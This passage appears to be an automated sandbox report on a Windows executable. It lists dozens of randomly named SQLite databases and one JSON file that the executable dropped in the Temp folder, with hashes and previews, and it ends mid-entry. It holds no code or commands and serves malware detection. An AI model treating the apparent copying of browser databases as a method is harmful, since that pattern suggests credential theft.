File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\17foo90yeL

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1Ei28hvCTx

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1vF7zbyWKW

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\21nUbvTFQS

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2JyFtAVw6g

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3DjgK4YlBB

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3Q2lsUWHqH

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3puN04s6HE

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3xy7xM1s8b

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4AfjbBqMu3

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4D6T9631z0

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4IHP5GK4pb

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4RfILhqiob

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4TpJhYKGKv

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4kxvsuFX0W

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4oqzi4P8B6

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\54jJbXzw6T

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\56dwjQkkMz

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5WaqQeWnCq

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5jm5RCk5dw

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5pj97dy8xP

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\62JnQ3VWZO

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6BCtEYfGH5

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\6jGCb2QFzj

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6qHH5Zi9iu

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7DEPsTBm8Q

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
